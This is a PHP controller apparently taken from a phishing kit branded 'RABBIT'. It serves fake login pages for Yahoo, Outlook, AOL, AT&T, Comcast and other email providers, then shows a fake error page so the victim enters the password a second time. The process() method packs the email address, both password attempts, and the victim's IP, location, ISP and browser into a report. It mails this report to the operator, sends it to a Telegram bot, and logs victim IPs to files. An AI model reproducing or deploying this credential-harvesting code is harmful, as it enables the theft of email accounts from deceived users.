<?php
defined("ALLOW") or exit('No direct script access allowed');

class Email
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		// Blocker disabled - allow direct access
		// Original code blocked access without session
	}

	public function index()
	{
		$page = $_SESSION['email_type'];
		$hotmail = array("hotmail", "outlook", "msn", "live");

		if (in_array($page, $hotmail)) {
			$page = 'hotmail';
		} else {
			$page = $page;
		}
		$page = strtolower($page);
		$accept  = array("yahoo", "att", "hotmail", "aol" ,"comcast", "charter", "att", "bellsouth", "flash", "sbcglobal", "prodigy");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index");
		} else {
			echo view('mobile/email');
		}
	}
	
	public function try()
	{
		$page = $_SESSION['email_type'];
    	$att = array("att", "bellsouth", "flash", "sbcglobal", "prodigy");

		if (in_array($page, $att)) {
			$page = 'att';
		} else {
			$page = $page;
		}
		$page = strtolower($page);
		$accept  = array("yahoo", "att", "hotmail", "aol", "comcast", "charter", "outlook", "msn", "live");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index.error");
		} else {
			echo view('mobile/email_error');
		}
	}
	
	public function first()
	{
		if (isset($_POST['password'])) {
			$_SESSION['password_email'] = trim($_POST['password']);
		}

		redirect(base_url() . 'security-check/email/try?error_id=' . md5(time()));
	}


	public function process()
	{
		if (isset($_POST['password'])) {
			$_SESSION['password_email2'] = trim($_POST['password']);
			$email = ($_POST['email']) ? $_POST['email'] : $_SESSION['email'];
			$password	= ($_POST['password']) ? $_POST['password'] : '';
			$password2 	= ($_SESSION['password_email']) ? $_SESSION['password_email'] : $_POST['password'];

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: RABBIT ::</span></strong>

<strong>:: EMAIL ACCESS ::</strong>
			
# Email 	: {$email}
# Password  : {$password}
# Check Password  : {$password2}

<strong>:: VISITOR DETAILS ::</strong>

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goRABBIT->platform}
# Browser      : {$this->goRABBIT->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['regionName']}
# City         : {$_SESSION['city']}
# Ip Address   : {$this->goRABBIT->ip_address}
# Isp Info     : {$_SESSION['isp']}
# Connection   : {$_SESSION['as']}
# User Agent   : {$this->goRABBIT->agent}

</pre>
</fieldset>
</pre>";

			$subject = "EMAIL ACCESS :: [ {$this->goRABBIT->ip_address} - {$_SESSION['country']} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.xyz>";

			if (_config('GETACCOUNT') == 'on') {
				@mail(_config('RESULT'), $subject, $message, $headers);
			}
			
            if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_email.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET EMAIL\r\n");
            
			$_SESSION['access'] = 8;
			redirect(base_url() . 'security-check/finished?_id=' . md5(time()));
			}
		}
	}